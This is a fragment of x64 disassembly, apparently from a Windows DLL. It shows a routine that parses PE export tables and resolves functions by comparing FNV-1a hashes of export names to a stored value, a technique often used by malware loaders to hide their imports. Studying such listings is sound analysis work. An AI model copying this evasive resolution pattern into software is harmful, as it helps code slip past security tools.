jne 0x180002107
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x180002107
mov eax, dword [rax + r8 + 0x88]
add rax, r8
mov edx, dword [rax + 0x20]
add rdx, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180002107
mov ecx, dword [rdx]
add rcx, r8
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x180002484
movabs r13, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r13
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x18000246b
cmp r10, r15
je 0x180002495
add r9d, r12d
add rdx, 4
cmp r9d, edi
jb 0x18000244c
jmp 0x180002107
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r8
jmp 0x18000210a
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x180001a61
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x180001a61
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x180001a61
mov eax, dword [rax + r8 + 0x88]
add rax, r8
mov edx, dword [rax + 0x20]
add rdx, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001a61
mov ecx, dword [rdx]
add rcx, r8
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x180002544
movabs r13, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r13
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180002521
movabs r13, 0xd064f115fa7ddde2
cmp r10, r13
je 0x180002555
add r9d, r12d
add rdx, 4
cmp r9d, edi
jb 0x180002502
jmp 0x180001a61
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r8
jmp 0x180001a64
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.1800025b0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret